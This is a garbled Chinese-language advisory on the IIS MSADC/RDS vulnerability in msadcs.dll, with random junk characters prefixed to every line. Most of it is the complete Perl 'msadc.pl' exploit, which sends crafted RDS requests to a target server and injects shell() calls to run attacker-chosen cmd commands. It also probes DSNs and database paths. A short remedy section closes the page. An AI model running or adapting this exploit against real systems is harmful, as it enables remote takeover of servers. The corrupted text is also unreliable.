IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
cYe2 a " ]\A=[ T^ 涉及程序：
#NGtba Microsoft NT server
7&wxnxSk^ I{>Z0+ 描述：
: _:)S 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%72(gR2Wa2 8 >LDo"< 详细：
3**t'i WQ 如果你没有时间读详细内容的话，就删除:
G 4~@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
V F";p^ 有关的安全问题就没有了。
L(cKyg[R RSbq<f>BFo 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
|<,0*2 ti6X=@ P: 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
@_$$'XA7 关于利用ODBC远程漏洞的描述，请参看:
oQ/T5cOj oIx|)[ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (~{Y}n]s 94dd ) /a 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
,%N[FZ`| http://www.microsoft.com/security/bulletins/MS99-025faq.asp C96*,.j~' 0A~UuH0. 这里不再论述。
3(|,:"9g $N}t)iA 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
~/)] `w dI%ho<zm] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
m a@ V>*u 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
#qF 1z}L( =Hn--DEMg /3^XJb$Sa #将下面这段保存为txt文件，然后: "perl -x 文件名"
~$C<^?"b Gos # =H #!perl
Y@#N_]oXj #
Ak W>*x # MSADC/RDS 'usage' (aka exploit) script
BY [7`@ #
t2OBVzK # by rain.forest.puppy
na8`V`77 #
IzUpk wN # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
f.^|2T I1g # beta test and find errors!
73 .+0x Sew*0S( use Socket; use Getopt::Std;
GH-F qz getopts("e:vd:h:XR", \%args);
P7,g^:$ Br}@Vv q@ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ENr#3+m$; #\}FQl6 if (!defined $args{h} && !defined $args{R}) {
Ug546Bz print qq~
{5{VGAD&]> Usage: msadc.pl -h <host> { -d <delay> -X -v }
na~ FT[3 C -h <host> = host you want to scan (ip or domain)
Me? I8:/ -d <seconds> = delay between calls, default 1 second
k[ D,du') -X = dump Index Server path table, if available
jVN06,3z -v = verbose
NQ[X=a8N -e = external dictionary file for step 5
ZYY2pY 1 P*7G? Or a -R will resume a command session
Y Z8[h`z >K 4Nn(~ys ~; exit;}
0&I*)Zt9x Ly^bP>2i $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
)D/ ,QWk if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
w}OBp^V^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
cUG^^3! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
F@q9U lfB- $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
/Mw;oP{&b if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
%dW ;P[0 uQx/o ^ if (!defined $args{R}){ $ret = &has_msadc;
B|"i`{> die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
i.Y2]1 BLaNS4e print "Please type the NT commandline you want to run (cmd /c assumed):\n"
n-jP b064 . "cmd /c ";
,vf#e= Z $in=<STDIN>; chomp $in;
'm6 bfS^T $command="cmd /c " . $in ;
Lp(`m=;O hbvcIGaT if (defined $args{R}) {&load; exit;}
'1b)(IW 9@ fSO< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
CR9wp] -Vd &try_btcustmr;
% PB {jo P/1YN print "\nStep 2: Trying to make our own DSN...";
1|xe'w{ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
D^m2iW; 0?/gE r print "\nStep 3: Trying known DSNs...";
^zO{A ks &known_dsn;
' fb\t , FI?J8a print "\nStep 4: Trying known .mdbs...";
c;X,- Q9 &known_mdb;
(2> q vWESu4W`L if (defined $args{e}){
~!PWJ~U print "\nStep 5: Trying dictionary of DSN names...";
L YB @L06a &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
EZI#CLT[ $<2 d|;7r print "Sorry Charley...maybe next time?\n";
SZ[?2z exit;
U xHI6,b SDE+"MjBY ##############################################################################
e<9 ^h)G .$}z</#! sub sendraw { # ripped and modded from whisker
=d ;#Nu- sleep($delay); # it's a DoS on the server! At least on mine...
5rck]L' my ($pstr)=@_;
|36%B7H socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
d;gs1]E50 die("Socket problems\n");
gU|:Y&lFZg if(connect(S,pack "SnA4x8",2,80,$target)){
xcmg3:s select(S); $|=1;
FA{Q6fi:2 print $pstr; my @in=<S>;
G] k[A=dg select(STDOUT); close(S);
@SxZ>|r-|v return @in;
:* ]#n } else { die("Can't connect...\n"); }}
XK/l1E3N j;y(to-e>D ##############################################################################
u4x tlGt5 )mwwceN sub make_header { # make the HTTP request
p A_u;* my $msadc=<<EOT
~? aFc) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
A~nqSe User-Agent: ACTIVEDATA
sP W :[ Host: $ip
uk$MQ v*D Content-Length: $clen
H3R{+ 7 Connection: Keep-Alive
59j`Z^e {p/Yz# ADCClientVersion:01.06
+kYp !00 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
]k]b Lyz\J B1~`*~@
--!ADM!ROX!YOUR!WORLD!
K*DH_\SPK Content-Type: application/x-varg
\ Xh
C Content-Length: $reqlen
)6p6<y Nb ~J'" EOT
b,+KXx ; $msadc=~s/\n/\r\n/g;
zT&"rcT"> return $msadc;}
e
}C,) *@#Gc%mGu ##############################################################################
N]iarYc ETU-6qFtO sub make_req { # make the RDS request
B%Qo6* b my ($switch, $p1, $p2)=@_;
EU:N9oT my $req=""; my $t1, $t2, $query, $dsn;
ub>:dNBN Qu'#~#L` if ($switch==1){ # this is the btcustmr.mdb query
H#YI7l2 $query="Select * from Customers where City=" . make_shell();
/"A= Yf $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ai?J $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2Ul8<${c{ EHf ,VIC8 elsif ($switch==2){ # this is general make table query
V~/@KU8cH $query="create table AZZ (B int, C varchar(10))";
~:Z|\a58j $dsn="$p1";}
NV/paoyx:* iOv>g-t : elsif ($switch==3){ # this is general exploit table query
=e# h;x2 $query="select * from AZZ where C=" . make_shell();
n]4 Elrxx $dsn="$p1";}
(#>X*~6 Fyw X elsif ($switch==4){ # attempt to hork file info from index server
u 5rvrn ] $query="select path from scope()";
Za Y|v- $dsn="Provider=MSIDXS;";}
<h#W*a
)ej1) RU" elsif ($switch==5){ # bad query
Hk4k $query="select";
;Qt/ (/ $dsn="$p1";}
](s5 ;ta .K4)#oC $t1= make_unicode($query);
T`]%$$1s $t2= make_unicode($dsn);
_qf~
hhi $req = "\x02\x00\x03\x00";
`0U\|I# $req.= "\x08\x00" . pack ("S1", length($t1));
WO%pX+PoH $req.= "\x00\x00" . $t1 ;
d\3 %5Y $req.= "\x08\x00" . pack ("S1", length($t2));
1QmOUw}yj $req.= "\x00\x00" . $t2 ;
d ]|K%<+( $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_>`9]6\& return $req;}
@,,G]4zZ! I`IW^eZM ##############################################################################
BH}Cx[n? ~ "eTALRL'o sub make_shell { # this makes the shell() statement
cj GN=|`u return "'|shell(\"$command\")|'";}
*u|1Z%XO PPG+~.7 ##############################################################################
|n;);T( 1I'Q{X&B sub make_unicode { # quick little function to convert to unicode
OYWHiXE6] my ($in)=@_; my $out;
V73/q for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
P ei Re return $out;}
> JA-G@3i |LLpG37_ ##############################################################################
|dHtv 6I 9w f"5c sub rdo_success { # checks for RDO return success (this is kludge)
+U ziO#D my (@in) = @_; my $base=content_start(@in);
_0^>^he if($in[$base]=~/multipart\/mixed/){
`q^qe> ' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
k_u!E3{~ return 0;}
7uw-1F5x7 Z6Mjc / ##############################################################################
W)f=\.7 vmNI$ KZM sub make_dsn { # this makes a DSN for us
b5%<},ySq my @drives=("c","d","e","f");
l0t(t*[Mj print "\nMaking DSN: ";
B<.\^f uS foreach $drive (@drives) {
R87@. print "$drive: ";
mc2uI-W my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
y?r`[{L(lA "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
M/[_~ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
~AaEa,LQ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?ZC!E0] return 0 if $2 eq "404"; # not found/doesn't exist
MK
Sw
if($2 eq "200") {
lq3D!+ m foreach $line (@results) {
)AcevEHB return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
WB'1_a } return 0;}
{=d}04i)E" 2auJp
. ##############################################################################
lZI J[. jzpDKc% sub verify_exists {
J_yXL7d my ($page)=@_;
`w4'DB-R) my @results=sendraw("GET $page HTTP/1.0\n\n");
]i,o+xBKH return $results[0];}
@C=gMn.E &k_LK ##############################################################################
AH'3
5Kf) byt$Wqdl sub try_btcustmr {
7 J6Z? my @drives=("c","d","e","f");
F_w+8)DZ my @dirs=("winnt","winnt35","winnt351","win","windows");
Bnwq!i!M JP( tf+ foreach $dir (@dirs) {
;C1#[U1Uy print "$dir -> "; # fun status so you can see progress
T)q
Uf
H foreach $drive (@drives) {
mb3aUFxA; print "$drive: "; # ditto
2Pe Mt^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
!^NZp%Yd $reqlenlen=length( "$reqlen" );
Hiwij,1 $clen= 206 + $reqlenlen + $reqlen;
oz]3
Tx v/~&n my @results=sendraw(make_header() . make_req(1,$drive,$dir));
8[AU`F8W if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
An?# B4: else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
2Rwd \e.z `) ],FE*: ##############################################################################
2(\PsN w! 6M_ W( sub odbc_error {
q6sb;?I my (@in)=@_; my $base;
A{)pzV25 my $base = content_start(@in);
y eIS} O if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
! or_CJ8% $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%c]N- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!L9]nO 'BL $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c}),yQ|!: return $in[$base+4].$in[$base+5].$in[$base+6];}
yEh{9S%6p print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
vy= {zi J print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
"u$XEA $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
87S,6 Y x}WP1YyT~ ##############################################################################
; [P> 5f0g7w =- sub verbose {
#M#$2Vt my ($in)=@_;
x)$0Nr62D return if !$verbose;
t3^`:T\ print STDOUT "\n$in\n";}
q&6|uV])H R @ Gll 60 ##############################################################################
H!"TS-s` g $Vr9MH sub save {
V)5,E>;EN my ($p1, $p2, $p3, $p4)=@_;
SE i\H$ ! open(OUT, ">rds.save") || print "Problem saving parameters...\n";
?< yYm;B print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
8vR'<_>Q close OUT;}
z9
#- 69:-c@ L0 ##############################################################################
X6w+L?A
- 3PLP$P sub load {
([rSYK pi my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<:nyRy} open(IN,"<rds.save") || die("Couldn't open rds.save\n");
HFyQ$pbBU @p=<IN>; close(IN);
!OPHS^L $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%yfl-c(u $target= inet_aton($ip) || die("inet_aton problems");
b *0u xvLu print "Resuming to $ip ...";
#<
:`:@2 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
>X:!Y[N if($p[1]==1) {
K ]yWp W $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
",Mrdxn7 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
9FNsW$b? my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
=;I+: K if (rdo_success(@results)){print "Success!\n";}
#bG6+"g{=L else { print "failed\n"; verbose(odbc_error(@results));}}
{0/2Hw n elsif ($p[1]==3){
8gt*`]I if(run_query("$p[3]")){
Bzt:9hr6BO print "Success!\n";} else { print "failed\n"; }}
qJonzFp7 elsif ($p[1]==4){
\x4:i\Fx@ if(run_query($drvst . "$p[3]")){
D Vg$rm` print "Success!\n"; } else { print "failed\n"; }}
?Oy0p8 exit;}
c Cx{
") ,-(D (J;}1 ##############################################################################
A yn $, EDnZ/)6Gg sub create_table {
DC BN89# my ($in)=@_;
'q}f3u > $reqlen=length( make_req(2,$in,"") ) - 28;
vE#8& Zq $reqlenlen=length( "$reqlen" );
?X\.O-=4X $clen= 206 + $reqlenlen + $reqlen;
i<tJG{A= my @results=sendraw(make_header() . make_req(2,$in,""));
[Ne'2z return 1 if rdo_success(@results);
s0x/2z my $temp= odbc_error(@results); verbose($temp);
=h
~n5wQG return 1 if $temp=~/Table 'AZZ' already exists/;
bd27])n( return 0;}
1Q9Hs(s i tk/1 ##############################################################################
?0JNaf [^/a`Kda8 sub known_dsn {
2_M+o]Z^ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}o[<1+W(. my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
SwO$UqYU= "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
CS-jDok "banner", "banners", "ads", "ADCDemo", "ADCTest");
Ar?ZU ASJ _T8S4s8q foreach $dSn (@dsns) {
Wy-y-wi :p print ".";
;<b7kepR next if (!is_access("DSN=$dSn"));
C#)T$wl[E if(create_table("DSN=$dSn")){
9~a 5R]x2
print "$dSn successful\n";
P-8QXDdr if(run_query("DSN=$dSn")){
&u6n5 -!v print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
= i;T?*@ print "Something's borked. Use verbose next time\n";}}} print "\n";}
OpIeo+^X* /P]N40_@ ##############################################################################
CM[83> O2 + K sub is_access {
vfm Y >nr my ($in)=@_;
C"s-ttP
$reqlen=length( make_req(5,$in,"") ) - 28;
2:nI4S $reqlenlen=length( "$reqlen" );
w5/6+ @} $clen= 206 + $reqlenlen + $reqlen;
[>3dhj[; my @results=sendraw(make_header() . make_req(5,$in,""));
b9-3 my $temp= odbc_error(@results);
Y}Y~?kE>M| verbose($temp); return 1 if ($temp=~/Microsoft Access/);
L?&&4%% return 0;}
zh\"sxL 9 v3n4=gc ##############################################################################
t6\--lk_ tuuwoiQ*` sub run_query {
Gui[ /iY,F my ($in)=@_;
`f~$h?}3-@ $reqlen=length( make_req(3,$in,"") ) - 28;
Lz:FR* $reqlenlen=length( "$reqlen" );
Y H^@8
$clen= 206 + $reqlenlen + $reqlen;
EQ :>]O my @results=sendraw(make_header() . make_req(3,$in,""));
-Xw S?* O return 1 if rdo_success(@results);
xpwy% uo my $temp= odbc_error(@results); verbose($temp);
E m +&I return 0;}
&_hEM~{
+`ov1h ##############################################################################
SK 5]7C2 |m@>AbR5dk sub known_mdb {
+StsSZ my @drives=("c","d","e","f","g");
8?: 2< my @dirs=("winnt","winnt35","winnt351","win","windows");
+|5 O b my $dir, $drive, $mdb;
.4$F~!aj9 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[*0M$4 ) vVf- zU # this is sparse, because I don't know of many
WQD:~*C: my @sysmdbs=( "\\catroot\\icatalog.mdb",
1cRF0MI "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
HNj;_S "\\system32\\certmdb.mdb",
h9iQn<lp4. "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
5 tZ0zr ,\# s_N 7 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
qcQq.cS_'N "\\cfusion\\cfapps\\forums\\forums_.mdb",
U^U
hZ! "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
BB(v,W "\\cfusion\\cfapps\\security\\realm_.mdb",
DVKb `KJ" "\\cfusion\\cfapps\\security\\data\\realm.mdb",
`R.Pz _oe "\\cfusion\\database\\cfexamples.mdb",
hk
S:_ e= "\\cfusion\\database\\cfsnippets.mdb",
UTN[! 0[
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
.P?n<n# "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
g)|vS>^~ "\\cfusion\\brighttiger\\database\\cleam.mdb",
k"/Rjd(; "\\cfusion\\database\\smpolicy.mdb",
9e
vQQN6D| "\\cfusion\\database\cypress.mdb",
)N1iGJO) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
A^LS^!Jz "\\website\\cgi-win\\dbsample.mdb",
5IFzbL#q#f "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
+/]*ChrS "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
}#g+~9UK ); #these are just
X-TGrdoX foreach $drive (@drives) {
+o" CMI foreach $dir (@dirs){
R(cg`8 foreach $mdb (@sysmdbs) {
.c__T {<)[ print ".";
d\JB jT1g if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Z 5)v print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
V
d] 7v if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
R osU~OK print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
O/d]2<V } else { print "Something's borked. Use verbose next time\n"; }}}}}
-!li,&,A1 >+Iph2] foreach $drive (@drives) {
nLv~)IQ}: foreach $mdb (@mdbs) {
Fpeokr"i print ".";
;c DMcKKIA if(create_table($drv . $drive . $dir . $mdb)){
2efdJ&eIV print "\n" . $drive . $dir . $mdb . " successful\n";
BF;}9QebmS if(run_query($drv . $drive . $dir . $mdb)){
/;1O9HJa print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
*rHz/& , } else { print "Something's borked. Use verbose next time\n"; }}}}
_9p79S<+ }
d"Wuu1tEY NuUiW*|`7 ##############################################################################
z 1^fG) ,tg(aL sub hork_idx {
HJ0;BD.] print "\nAttempting to dump Index Server tables...\n";
6 %> 'n? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@EyB^T/ $reqlen=length( make_req(4,"","") ) - 28;
`NEi/jB $reqlenlen=length( "$reqlen" );
IA[:-2_ $clen= 206 + $reqlenlen + $reqlen;
*p #@W-:9E my @results=sendraw2(make_header() . make_req(4,"",""));
[^6z> if (rdo_success(@results)){
I w h0PfWJ my $max=@results; my $c; my %d;
:M f8q!Q' for($c=19; $c<$max; $c++){
-o{ x
;:4 $results[$c]=~s/\x00//g;
p4UEhT $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
e5n]@mu% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<m V FC $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
2 k^rZ^^" $d{"$1$2"}="";}
}Q ]- Y : foreach $c (keys %d){ print "$c\n"; }
@pYC!;n+ } else {print "Index server doesn't seem to be installed.\n"; }}
la!U -"i $^Q` ##############################################################################
rXE0jTf:a [6_.Y*} N sub dsn_dict {
.P")S| open(IN, "<$args{e}") || die("Can't open external dictionary\n");
mU?~s7 while(<IN>){
lz36;Fp $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
8~s0%%{,M next if (!is_access("DSN=$dSn"));
d,Oagx if(create_table("DSN=$dSn")){
HX}B#T print "$dSn successful\n";
/93z3o7D> if(run_query("DSN=$dSn")){
gH\>", [ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
l}/&6hI+d print "Something's borked. Use verbose next time\n";}}}
8TP~=qU print "\n"; close(IN);}
'` 2MxRP ZX1 / 6|_ ##############################################################################
1TR+p? " | B*B>P# sub sendraw2 { # ripped and modded from whisker
Bmcc SC;o4 sleep($delay); # it's a DoS on the server! At least on mine...
m6$&yKQ-=h my ($pstr)=@_;
DLqH * U socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Vwh ;QJxb die("Socket problems\n");
bDJ!Fc/ if(connect(S,pack "SnA4x8",2,80,$target)){
q1x[hv3
pP print "Connected. Getting data";
~9yK MUf open(OUT,">raw.out"); my @in;
g}gGm[1SUo select(S); $|=1; print $pstr;
m{X{h4t while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
S<cz2FlV close(OUT); select(STDOUT); close(S); return @in;
Jvsy
6R } else { die("Can't connect...\n"); }}
z>,M@ @
^RT_Lky ##############################################################################
Y&U-d{" dzAumWoh sub content_start { # this will take in the server headers
SG |AJ 9 my (@in)=@_; my $c;
\ERxr
for ($c=1;$c<500;$c++) {
F8{gJaP x if($in[$c] =~/^\x0d\x0a/){
@f p@1n if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
k3@d
= k else { return $c+1; }}}
i$@xb_ return -1;} # it should never get here actually
D6&P9e_5 &B[*L+-E ##############################################################################
Dr V[1Z O2p E"8=4Q sub funky {
+_cigxpTc my (@in)=@_; my $error=odbc_error(@in);
&| ne!wu if($error=~/ADO could not find the specified provider/){
V:J|shRo print "\nServer returned an ADO miscofiguration message\nAborting.\n";
8Q<Nl=g>' exit;}
<PuY"-`/Oc if($error=~/A Handler is required/){
V4ePYud;^ print "\nServer has custom handler filters (they most likely are patched)\n";
n_RZ:<Gr exit;}
N0kCd Jv if($error=~/specified Handler has denied Access/){
W)/f5[L print "\nServer has custom handler filters (they most likely are patched)\n";
3'` &D/n exit;}}
Y$n +\K r,0D I ##############################################################################
%aK[Yvo6 Xy 4k;+ sub has_msadc {
6'/ Zq my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
p}1gac_c my $base=content_start(@results);
] ?D$n return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
F9K` N8wlu return 0;}
iv6G9e{cx ,&=7ir14>R ########################
Xn%7{%;h A o` e{ `^hA &/1 解决方案：
:.XlAQR~b 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~,&8)1 2、移除web 目录: /msadc
